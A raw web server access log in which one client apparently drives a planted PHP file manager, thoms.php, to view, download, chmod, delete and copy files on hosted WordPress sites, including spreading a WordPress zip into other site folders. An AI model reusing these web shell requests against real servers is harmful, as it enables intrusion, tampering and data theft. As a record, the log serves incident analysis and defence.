45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-activate.php HTTP/1.1" 200 14822 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bft.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bft.com.tw HTTP/1.1" 200 16768 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /thoms.php?copy=bft.com.tw%2F.tmb&p= HTTP/1.1" 200 11628 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.tmb&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?del=license.txt&p=bft.com.tw HTTP/1.1" 200 16834 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Flicense.txt&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?chmod=readme.html&p=bft.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:32 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-includes HTTP/1.1" 200 57834 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?del=readme.html&p=bft.com.tw HTTP/1.1" 200 16823 "http://163.245.207.76:443/thoms.php?del=readme.html&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?del=thoms.php&p=bft.com.tw HTTP/1.1" 200 16832 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13312 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?dl=mah.php&p=bft.com.tw HTTP/1.1" 200 16834 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bft.com.tw HTTP/1.1" 200 16831 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-links-opml.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?dl=wp-cron.php&p=bft.com.tw HTTP/1.1" 200 16834 "http://163.245.207.76:443/thoms.php?dl=wp-cron.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-signup.php HTTP/1.1" 200 22504 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:33 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bft.com.tw HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?del=wp-trackback.php&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?chmod=wp-content&p=bft.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /bft.com.tw/wp-links-opml.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?dl=readme.html&p=bft.com.tw HTTP/1.1" 200 16835 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bft.com.tw HTTP/1.1" 200 16765 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-settings.php HTTP/1.1" 200 19473 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /bft.com.tw/client-global/ HTTP/1.1" 200 6446 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?dl=wp-signup.php&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?p=bft.com.tw&view=license.txt HTTP/1.1" 200 20074 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=license.txt" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fmah.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-comments-post.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?p=bft.com.tw&view=xmlrpc.php HTTP/1.1" 200 13372 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?p=bft.com.tw%2F.well-known HTTP/1.1" 200 12579 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11633 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:34 -0400] "GET /thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fxmlrpc.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /thoms.php?del=.well-known&p=bft.com.tw HTTP/1.1" 200 16834 "http://163.245.207.76:443/thoms.php?del=.well-known&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /thoms.php?copy=bft.com.tw%2F.well-known&p= HTTP/1.1" 200 11633 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13272 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-load.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /bft.com.tw/wp-load.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /bft.com.tw/xmlrpc.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /thoms.php?chmod=upgrade&p=bft.com.tw HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /bft.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /bft.com.tw/.tmb/ HTTP/1.1" 200 686 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-links-opml.php HTTP/1.1" 200 13089 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=wp-links-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bft.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /bft.com.tw/sync-sample/ HTTP/1.1" 200 6344 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /thoms.php?del=upgrade&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-activate.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:35 -0400] "GET /thoms.php?chmod=.tmb&p=bft.com.tw HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?chmod=.tmb&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /bft.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /thoms.php?chmod=error_log&p=bft.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /bft.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Ferror_log&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-admin HTTP/1.1" 200 28598 "http://163.245.207.76:443/thoms.php?p=bft.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /bft.com.tw/thoms.php?p= HTTP/1.1" 200 15999 "https://163.245.207.76/bft.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /bft.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /thoms.php?del=.tmb&p=bft.com.tw HTTP/1.1" 200 16832 "http://163.245.207.76:443/thoms.php?del=.tmb&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fsync-sample&p= HTTP/1.1" 200 11632 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fsync-sample&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13013 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-config-sample.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /thoms.php?p=bft.com.tw&view=wp-mail.php HTTP/1.1" 200 15345 "http://163.245.207.76:443/thoms.php?p=bft.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bft.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Fwp-settings.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /bft.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:36 -0400] "GET /thoms.php?del=wp-admin&p=bft.com.tw HTTP/1.1" 200 16832 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bft.com.tw HTTP/1.1" 200 16832 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?chmod=wp-admin&p=bft.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /bft.com.tw/wp-blog-header.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bft.com.tw%2Freadme.html&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?chmod=wp-cron.php&p=bft.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=wp-cron.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?del=wp-mail.php&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?chmod=client-global&p=bft.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=client-global&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?del=mah.php&p=bft.com.tw HTTP/1.1" 200 16833 "http://163.245.207.76:443/thoms.php?del=mah.php&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=cgi-bin HTTP/1.1" 200 11325 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw HTTP/1.1" 200 11442 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:35:37 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
